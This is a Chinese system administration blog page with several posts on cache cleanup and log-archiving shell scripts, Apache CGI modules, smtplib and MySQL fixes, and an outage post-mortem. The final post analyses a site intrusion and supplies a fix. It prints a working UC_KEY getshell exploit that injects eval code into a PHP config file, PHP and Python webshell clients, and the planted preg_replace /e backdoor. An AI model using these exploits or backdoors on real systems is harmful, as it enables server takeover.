【shell】清除nginx缓存目录下指定文件

描述:项目上线,运维一般会将样式、图片等文件缓存。上线初期经常需要更新样式文件,该脚本可以交由开发人员执行,减少运维工作量。

#! /bin/sh
#清除指定目录下,指定文件
#主要为了解决清除nginx缓存目录下的缓存文件
#link: blog.phpdba.com
#date: 2014-08-19
#author: chen-123

#Define Path
CACHE_DIR=/tmp/zaojiao.phpdba.com/
FILE="$*"

if [  "$#" -eq "0" ];then
        echo "Please Input clean File, Example: $0 index.html index.js style.css"
        sleep 2 && exit
fi
echo "The file : $FILE to be clean Cache ,please waiting ....."

for i in `echo $FILE`
do
        find ${CACHE_DIR} -name  $i > /tmp/cache_list.txt
        for j in `cat /tmp/cache_list.txt`
        do
                rm  -rf $j
                echo "$i $j is Deleted Success !"
        done
done

脚本下载链接:https://github.com/chen-123/phper/edit/master/cache_nginx.sh

发表在 技术生涯 | 标签为 | 【shell】清除nginx缓存目录下指定文件已关闭评论

【shell】批量删除缓存图片

描述:现在项目中有好多项目缓存了图片、样式等文件,动不动就10个G的级别

#/bin/sh
# 脚本用于批量删除指定目录下小文件
# link:blog.phpdba.com
# date: 2014-08-18
# author: chen-123

Base_Folder="/ask_d"
Folder='askques'
Old_Folder='askques_old'
Tmp_Folder='tmp'
Check_Old="yes"



if [ "`pwd`" != "$Base_Folder" ]
then
        echo "请将脚本放在"$Base_Folder"目录下执行"
        exit
fi


if [ -d $Tmp_Folder -a "`ls -A $Tmp_Folder`" != "" ]
then
        echo "请检查目录"$Tmp_Folder"是否为空目录"
fi

if [ -d $Old_Folder ]
then
        echo "目录存在"
        if [ "`ls -A $Old_Folder`" == "" ];then
                echo "$Old_Folder 是空目录,请重新执行一次"
                `rm -rf $Old_Folder`
        else
                Old_Size=`du -s ${Old_Folder}|awk '{print $1}'`

                if [ $Old_Size -ge 102400 ]
                then
                        echo $Old_Folder"目录比较大,请检查"
                        if [ "$Check_Old" != "yes" ]
                        then
                                if [ -d $Tmp_Folder ]
                                then
                                        rsync --delete-before -a -H -v --progress --stats $Base_Folder"/"$Tmp_Folder"/" $Base_Folder"/"$Old_Folder"/"
                                else
                                        echo "请确认"$Tmp_Folder"目录是否存在"
                                fi
                        fi
                else
                        echo "正在删除目录"$Old_Folder" ,请重新执行一次"
                        `rm -rf $Old_Folder`
                fi
        fi
else
        echo "目录不存在,创建目录"$Old_Folder
        `mv $Folder $Old_Folder && mkdir $Folder && chown -R apache:apache $Folder`
        if [ -d $Tmp_Folder ]
        then
                rsync --delete-before -a -H -v --progress --stats $Base_Folder"/"$Tmp_Folder"/" $Base_Folder"/"$Old_Folder"/"
                `rm -rf $Old_Folder`
        else
                echo "请确认"$Tmp_Folder"目录是否存在"
        fi
fi

脚本下载链接:https://github.com/chen-123/phper/edit/master/batch_delete_file.sh

发表在 技术生涯 | 标签为 | 【shell】批量删除缓存图片已关闭评论

对api.A.com部分地区访问故障的思考

总结:出现此故障及解决故障过程中暴露的问题,根本原因:信息共享机制缺失。

1、api.A.com 域名解析错误,除江苏电信之外,其他地区均出现故障。

a、个人猜测,应该是A.com所有子域名均cname到了lbe.B.net 。

b、dnspod上未配置api子域名或者配置错误。

2、运维对域名可用性跟踪问题

a、运维接收到配置需求之后,未做详细了解(何时用?用在哪里?怎么用?),直接配置。根据主管判断,api域名应该是php接口请求,故不放cdn加速。

b、配置好之后,未跟踪dns修改情况,主观认为域名需求发起方已经处理好。

3、项目问题

a、开发组未主动将项目情况,告知运维,导致发现该故障时,排查过程比较曲折。请开发也反思下,以后如何与运维更好的合作。

b、域名管理权限问题,能否将域名移交运维统一管理?

c、新版本上线之后,发现问题比较迟,为什么呢?请项目组与运维保持沟通,并积极关注和反馈应用情况,特别是新版本,新功能。 方便运维协助解决问题。

4、其他

a、工作中难免会出现问题,所以需要团队间互相协助。将出现问题的概率降低或者将故障周期最小化。

b、以上都是个人看法,不对的地方,请指正。谢谢!

发表在 技术生涯 | 对api.A.com部分地区访问故障的思考已关闭评论

【python】smtplib修改

描述:

1、qmail搭建了一套邮件系统,python通过smtp发送邮件,遇到发送失败。

2、排查发现smtplib.py 中authmethod 优先匹配了AUTH_CRAM_MD5

源代码:

# Authentication methods the server supports:
authlist = self.esmtp_features[“auth”].split()

# List of authentication methods we support: from preferred to
# less preferred methods. Except for the purpose of testing the weaker
# ones, we prefer stronger methods like CRAM-MD5:
preferred_auths = [AUTH_CRAM_MD5, AUTH_PLAIN,AUTH_LOGIN,]

# Determine the authentication method we’ll use
authmethod = None
for method in preferred_auths:
if method in authlist:
authmethod = method
break

 

修改之后:

        # Authentication methods the server supports:
        authlist = self.esmtp_features["auth"].split()

        # List of authentication methods we support: from preferred to
        # less preferred methods. Except for the purpose of testing the weaker
        # ones, we prefer stronger methods like CRAM-MD5:
        preferred_auths = [AUTH_LOGIN, AUTH_CRAM_MD5, AUTH_PLAIN]

        # Determine the authentication method we'll use
        authmethod = None
        for method in preferred_auths:
            if method in authlist:
                authmethod = method
                break

 

修改之后邮件正常发送。

发表在 技术生涯 | 标签为 , | 【python】smtplib修改已关闭评论

【shell】按照月份将apache日志文件压缩

描述:nagios监控磁盘空间warning,检查发现apache日志占用空间比较大

#!/bin/sh
#将当前目录下常规apache日志文件,按照月份归集
#link: blog.phpdba.com
#date:2014-07-29
#author: chen-123

export LANG="en_US.UTF-8"
project_list=`ls -l|grep 'access\.'|awk '{print $NF}'|awk -F'-access.' '{print $1}'|uniq`
month_list=`ls -l|grep 'access\.'|awk '{print $NF}'|awk -F'-access.' '{print $2}'|sort -n|uniq|cut -c 1-2|uniq`
cur_month=`date +%m`
for project in $project_list
do
for month in $month_list
do
echo $project
log_num=`ls |grep $project'-access.'$month|wc -l`
echo $log_num
if [ $log_num -gt 0 ];then
        if [ "$month" != "$cur_month" ];then
                echo $project" "$month" "$log_num
                tar_file=${project}"_access_"${month}".tar.gz"
                files=${project}"-access."${month}"[0-9][0-9]"
                files_total_size=`ls $files|xargs du -cb|grep total|awk '{print $1}'`
                files_avg_size=`echo "$files_total_size/$log_num"|bc`
                echo $files_avg_size
                if [ $files_avg_size -gt 1073741824 ];then
                        for file in $files
                        do
                                day=`echo $file|awk -F'-access.' '{print $2}'`
                                tar_filenew=${project}"_access_"${day}".tar.gz"
                                echo $tar_filenew
                                [ -f $tar_filenew ] || /bin/tar zcf $tar_filenew $file
                                [ -f $tar_filenew ] && rm -f $file
                        done
                else
                        echo $tar_file
                        [ -f $tar_file ] || /bin/tar zcf $tar_file $files
                        [ -f $tar_file ] && rm -f $files
                fi
                #echo $files_total_size
                #/bin/tar zcf $tar_file $files
        fi
fi
done
done

脚本下载链接:https://github.com/chen-123/phper/blob/master/log_archive.sh

发表在 技术生涯 | 标签为 | 【shell】按照月份将apache日志文件压缩已关闭评论

apache动态编译cgi模块

描述:

1、搭建qmailadmin过程中,要求服务支持cgi请求。

2、之前编译apache时,cgi模块没有编译进来。

3、要么重新编译apache,要么利用apxs工具编译cgi模块。两者比较,当然是选择编译模块。

操作步骤如下:

查了下网络资料,发现Apache自带的apxs工具,可以在不重新编译Apache的前提下,给Apache添加模块。

Apache运行cgi程序需要用到2个模块:mod_cgi.so 与 mod_cgid.so

操作如下:
1、查看apache是否安装mod_cgi模块
[root@chen-123 cgi-bin]# apachectl -l|grep cgi
mod_proxy_scgi.c
未发现mod_cgi.c,说明apache默认没安装cgi模块
2、添加步骤
1)、先找到mod_cgi.c及mod_cgid.c。一般在apache安装包目录下,如:/root/godaddy/html/centos/httpd-2.2.25/modules/generators
2)、编译安装cgi模块
[root@chen-123 generators]#cd /root/godaddy/html/centos/httpd-2.2.25/modules/generators
[root@chen-123 generators]#/opt/phpdba/httpd-2.2.25/bin/apxs -i -a -c mod_cgi.c
编译成功后会输出:

…. #省略掉了前部分内容
———————————————————————-
chmod 755 /opt/phpdba/httpd-2.2.25/modules/mod_cgi.so
[activating module `cgi’ in /opt/phpdba/httpd-2.2.25/conf/httpd.conf] #这行表示,在httpd.conf中已经加载了cgi module

[root@chen-123 generators]# vim /opt/phpdba/httpd-2.2.25/conf/httpd.conf
LoadModule php5_module modules/libphp5.so
LoadModule cgi_module modules/mod_cgi.so #配置文件已经添加
[root@chen-123 generators]# ll /opt/phpdba/httpd-2.2.25/modules/
总用量 31252
-rw-r–r– 1 root root 9201 7月 22 17:39 httpd.exp
-rwxr-xr-x 1 root root 31913793 7月 22 17:47 libphp5.so
-rwxr-xr-x 1 root root 73503 7月 27 12:08 mod_cgi.so

#编译安装 cgid模板
[root@chen-123 generators]# /opt/phpdba/httpd-2.2.25/bin/apxs -i -a -c mod_cgid.c
编译成功后会输出:
…. #省略掉了前部分内容
———————————————————————-
chmod 755 /opt/phpdba/httpd-2.2.25/modules/mod_cgid.so
[activating module `cgid’ in /opt/phpdba/httpd-2.2.25/conf/httpd.conf]#这行表示,在httpd.conf中已经加载了cgid module
[root@chen-123 generators]# vim /opt/phpdba/httpd-2.2.25/conf/httpd.conf
LoadModule php5_module modules/libphp5.so
LoadModule cgi_module modules/mod_cgi.so
LoadModule cgid_module modules/mod_cgid.so
[root@chen-123 generators]# ll /opt/phpdba/httpd-2.2.25/modules/
总用量 31344
-rw-r–r– 1 root root 9201 7月 22 17:39 httpd.exp
-rwxr-xr-x 1 root root 31913793 7月 22 17:47 libphp5.so
-rwxr-xr-x 1 root root 92334 7月 27 12:11 mod_cgid.so
-rwxr-xr-x 1 root root 73503 7月 27 12:08 mod_cgi.so

3)、apxs参数含义:
-i 表示需要执行安装操作。
-a 自动增加一个LoadModule行到httpd.conf文件中,以激活此模块,或者,如果此行已经存在,则启用之。
-n 增加或启用的模块名称。
3、验证cgi模块安装是否成功
1)查看apache模块列表
[root@chen-123 generators]# apachectl -M|grep cgi
proxy_scgi_module (static)
cgi_module (shared)
cgid_module (shared)
2)、重启apache、访问cgi脚本
[root@chen-123 generators]# apachectl restart
结果报如下错误:
停止 httpd: [确定]
启动 httpd:httpd: Syntax error on line 61 of /opt/phpdba/httpd-2.2.25/conf/httpd.conf: module cgi_module is built-in and can’t be loaded [失败]
提示说:cgi_module 是内建模块,即无需手动加载,所以我们把“LoadModule cgi_module modules/mod_cgi.so”注释掉即可!
* 用命令 apachectl -l 去查看下哪些模块被内建了,及安装时编译了cgi模块。

3)、浏览器访问http://chen-123.phpdba.com/cgi-bin/test.cgi

CGI/1.0 test script report:

argc is 0. argv is .

SERVER_SOFTWARE = XXXX
SERVER_NAME = chen-123.phpdba.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/1.1
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT = text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /cgi-bin/test.cgi
QUERY_STRING =
REMOTE_HOST =
REMOTE_ADDR = 11*.*.***.239
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =

cgi模块安装好了,继续qmailadmin 。

发表在 技术生涯 | 标签为 , | apache动态编译cgi模块已关闭评论

网站上线,运维应该知道什么?

产品经理牵头,对网站频道进行改版,失败告终。

1、为什么会失败?

2、改版过程中都存在那些问题?

3、产品经理在整个改版过程中,应该扮演什么角色?

4、程序在改版过程中的问题?

。。。。

这些问题的答案,我想他们都比我清楚。

做为一个运维,最近也一直在思考,运维在整个事件中的问题,运维应该怎样做才好?

1、网站域名、代码svn、 数据库配置、服务器硬件、memcache、 redis、 图片等资源,包括svn和系统权限控制 、ip分配
2、网站架构文档、项目配置文档、服务器配置文档、网站测试文档、高可用文档、安全文档、网站上线确认文档
3、网站并发设计、pv预估、推广途径
4、网站监控、性能监控(平均访问时间监控、 webserver每秒qps、 apahce和mysql请求数监控、web和db流量监控、 memcache和图片等存储监控 ),web监控 (可用性监控、接口调用监控、南北互通监控 ),安全监控 (监控文件变更),db锁边监控 ,qps异常监控,错误日志,慢查询日志
5、代码、数据库、图片等资源备份计划
6、备用系统构建、高可用构建
7、服务器部署信息更新
8、项目上线跟踪分析 、apache日志分析和状态统计, 爬虫统计分析

以上8点,应该是运维在整个项目过程中,应该了解到信息。

要了解这些信息,运维应该怎么做才好呢?

发表在 技术生涯 | 标签为 | 网站上线,运维应该知道什么?已关闭评论

falcon 监控数据中文乱码问题

现象:falcon编译好之后,启动falcon服务,数据正常记录到数据库,但中文显示乱码。

原因:mysql_real_connect()

By default, this is latin1, but can be changed by calling mysql_options(mysql, MYSQL_SET_CHARSET_NAME, “charset_name”) prior to connecting.

MYSQL *mysql_real_connect(MYSQL *mysql, const char *host, const char *user, const char *passwd, const char *db, unsigned int port, const char *unix_socket, unsigned long client_flag)

代码展示:
       connection = mysql_init(NULL);

        if (connection == NULL) {
                printf("connection NULL\n");
                return NULL;
        }

        mysql_options(connection, MYSQL_SET_CHARSET_NAME, "utf8");//添加这行,设置默认字符集utf8

        mysql_real_connect(connection, mysqlserver, mysqlusr, mysqlpwd, mysqldb, 0,
                        NULL, 0);
        if (connection == NULL) {
                printf("%s\n", mysql_error(connection));
        } else {

        }

重新编译启动之后,数据库里面数据正常。

发表在 技术生涯 | 标签为 | falcon 监控数据中文乱码问题已关闭评论

Linux下通过端口查看进程

方法一:
lsof -Pnl +M -i4  |grep 8453
lsof命令参数解释
1) -P :这个选项约束着网络文件的端口号到端口名称的转换。约束转换可以使lsof运行得更快一些。在端口名称的查找不能奏效时,这是很有用的。
2) -n : 这个选项约束着网络文件的端口号到主机名称的转换。约束转换可以使lsof的运行更快一些。在主机名称的查找不能奏效时,它非常有用。
3) -l :这个选项约束着用户ID号到登录名的转换。在登录名的查找不正确或很慢时,这个选项就很有用。

4) +M :此选项支持本地TCP和UDP端口映射程序的注册报告。

5) -i4 :仅列示IPv4协议下的端口。

6) -i6 : 仅列示IPv6协议下的端口。

方法二:
1.使用netstat查看进程PID
[root@test ~]#  netstat -anp|grep 8080
tcp        0      0 :::8080                     :::*                        LISTEN      12886/nginx
2.使用ps查看进程情况
ps -p 12886

ps -ef|grep 8080

发表在 技术生涯 | Linux下通过端口查看进程已关闭评论

php开源项目构建网站的安全问题

1、近期网站被人植入广告代码,导致搜索引擎收入大量含“博彩”的页面,网站降权

2、入侵者通过修改网站全局配置文件或代码入口,输出广告代码到正常页面,展示广告内容,影响用户体验。或者在网站跟目录产生子目录及页面文件,通过友链等方式让搜索引擎收录。

3、入侵方法

a、通过开源项目漏洞
利用UC_KEY进行getshell
思路:通过项目中authcode方法及UC_KEY的值,构造get值通过逻辑判断。通过xml构造post值,修改config.php中的UC_API定义,让php可以执行外部代码。

function updateapps($get, $post) {
        global $_DCACHE;
        if(!API_UPDATEAPPS) {
            return API_RETURN_FORBIDDEN;
        }
        $UC_API = $post['UC_API'];

        if(empty($post) || empty($UC_API)) {
            return API_RETURN_SUCCEED;
        }

        $cachefile = $this->appdir.'./uc_client/data/cache/apps.php';
        $fp = fopen($cachefile, 'w');
        $s = "appdir.'./config.inc.php')) {
            $configfile = trim(file_get_contents($this->appdir.'./config.inc.php'));
            $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;
            $configfile = preg_replace("/define('UC_API',s*'.*?');/i", "define('UC_API', '$UC_API');", $configfile);//这里的问题
            if($fp = @fopen($this->appdir.'./config.inc.php', 'w')) {
                @fwrite($fp, trim($configfile));
                @fclose($fp);
            }
        }
}

webshell脚步

<?php 
    $timestamp = time()+10*3600;
    $host="bbs.xxxxxx.com";
    $uc_key="A1v8Z5Z7feZdmfcd72J5C5V8hc8dM4F6V2g0h5ofXdS6jcm1C78bZede39z51610";
    $code=urlencode(_authcode("time=$timestamp&action=updateapps", 'ENCODE', $uc_key));
    $cmd1='<?xml version="1.0" encoding="ISO-8859-1"?>
    <root>
       <item id="UC_API">xxx\');eval($_POST[cmd]);//</item>
    </root>';
    $cmd2='<?xml version="1.0" encoding="ISO-8859-1"?>
    <root>
     <item id="UC_API">aaa</item>
     </root>';
    $html1 = send($cmd1);
    echo $html1;
    $html2 = send($cmd2);
    echo $html2;

function send($cmd){
    global $host,$code;
    $message = "POST /api/uc.php?code=".$code."  HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Referer: ".$host."\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
    $message .= "Host: ".$host."\r\n";
    $message .= "Content-Length: ".strlen($cmd)."\r\n";
    $message .= "Connection: Close\r\n\r\n";
    $message .= $cmd;

    $fp = fsockopen($host, 80);
    fputs($fp, $message);

    $resp = '';

    while ($fp && !feof($fp))
        $resp .= fread($fp, 1024);

    return $resp;
}

function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
    $ckey_length = 4;

    $key = md5($key ? $key : UC_KEY);
    $keya = md5(substr($key, 0, 16));
    $keyb = md5(substr($key, 16, 16));
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);

    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);

    $result = '';
    $box = range(0, 255);

    $rndkey = array();
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }

    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }

    for($a = $j = $i = 0; $i < $string_length; $i++) {
         $a = ($a + 1) % 256;
         $j = ($j + $box[$a]) % 256;
         $tmp = $box[$a];
         $box[$a] = $box[$j];
         $box[$j] = $tmp;
         $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
     }
     if($operation == 'DECODE') {
         if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
                return '';
            }
    } else {
        return $keyc.str_replace('=', '', base64_encode($result));
    }

}
?>

修复方案

$configfile = preg_replace("/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".addslashes($UC_API)."');", $configfile);

b、php函数特性 webshell php版

<?php $host="blog.phpdba.com";
 $arr = array (                 'ccc' => '@eval(base64_decode($_POST[z0]));',
                'z0' => 'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7',
                'z1' => base64_encode('/var/html/chen-123/'),
                'verify' => 'chen-123',
                'function' => 'eval($_POST[ccc]);',
             );
foreach($arr as $k=>$v){
        $post_data[] = $k."=".urlencode($v);
}
$cmd_str = implode('&',$post_data);
$html = send($cmd_str);
echo $html."\n";

function send($cmd){
        global $host,$code;
        $message = "POST /chen-123.php  HTTP/1.1\r\n";
        $message .= "Accept: */*\r\n";
        $message .= "Referer: ".$host."\r\n";
        $message .= "Accept-Language: zh-cn\r\n";
        $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
        $message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
        $message .= "Host: ".$host."\r\n";
        $message .= "Content-Length: ".strlen($cmd)."\r\n";
        $message .= "Connection: Close\r\n\r\n";
        $message .= $cmd;

#var_dump($message);
        $fp = fsockopen($host, 80);
        fputs($fp, $message);

        $resp = '';

        while ($fp && !feof($fp))
                $resp .= fread($fp, 1024);

        return $resp;
}

webshell python版

#!/usr/bin/env python
#coding=utf-8
import base64
from urllib import urlencode
import urllib2

def get_shell(url):
    '''
    发送命令获取webshell
    '''
    headers={
    'Accept-Language':'zh-cn',
    'Content-Type':'application/x-www-form-urlencoded',
    'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)',
    'Referer':url
    }
    data={
    'ccc':'@eval(base64_decode($_POST[z0]));',
    'z0':'QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7',
    'z1':'L3Zhci93d3cvaHRtbA==[',
    'verify':'chen-123',
    'function':'eval($_POST[ccc]);'
    }
    post_data=urlencode(data);
    try:
        req=urllib2.Request(url,data=post_data,headers=headers)
        ret=urllib2.urlopen(req)
        content=ret.read()
        return content
    except:
        return "访问出错"    

if __name__ == '__main__':
    host='http://blog.phpdba.com'
    url=host+"/chen-123.php"
    print get_shell(url)

服务器端注入代码

function showmessage($msgbox,$keyword,$conut) {
        if(substr (md5 ($msgbox[$keyword[1]]), $conut) == $keyword[0]) {
                preg_replace ($keyword[4].$keyword[4].$keyword[3], $msgbox[$keyword[2]],"");
                return true;
        }
        return false;

}

if(!$ucappopen['UCHOME']) {
        showmessage($_POST, array('e7465d', 'verify', 'function', 'e', '/'), 26);
}

preg_replace 有个被弃用的’e'(PREG_REPLACE_EVAL),可以为这个函数指定。

PCRE模式

模式修饰符

e (PREG_REPLACE_EVAL)
Warning本特性已自 PHP 5.5.0 起废弃。强烈建议不要使用本特性。

如果设置了这个被弃用的修饰符, preg_replace() 在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线(\)和 NULL 字符在 后向引用替换时会被用反斜线转义.

The addslashes() function is run on each matched backreference before the substitution takes place. As such, when the backreference is used as a quoted string, escaped characters will be converted to literals. However, characters which are escaped, which would normally not be converted, will retain their slashes. This makes use of this modifier very complicated.

请确保 replacement 参数由合法 php 代码字符串组成,否则 php 将会 在preg_replace() 调用的行上产生一个解释错误。

Use of this modifier is discouraged, as it can easily introduce security vulnerabilites:

 <?php
    $html = $_POST['html'];
   // uppercase headings
      $html = preg_replace(
        '(<h([1-6])>(.*?)</h\1>)e',
        '"<h$1>" . strtoupper("$2") . "</h$1>"',
        $html
      );

The above example code can be easily exploited by passing in a string such as <h1>{${eval($_GET[php_code])}}</h1>. This gives the attacker the ability to execute arbitrary PHP code and as such gives him nearly complete access to your server.

To prevent this kind of remote code execution vulnerability the preg_replace_callback() function should be used instead:

 <?php
$html = $_POST['html'];
// uppercase headings
$html = preg_replace_callback(
'(<h([1-6])>(.*?)</h\1>)',
function ($m) {
return "<h$m[1]>" . strtoupper($m[2]) . "</h$m[1]>";
},
$html
);

Note:仅 preg_replace() 使用此修饰符,其他 PCRE 函数忽略此修饰符。

 

发表在 技术生涯 | 标签为 | php开源项目构建网站的安全问题已关闭评论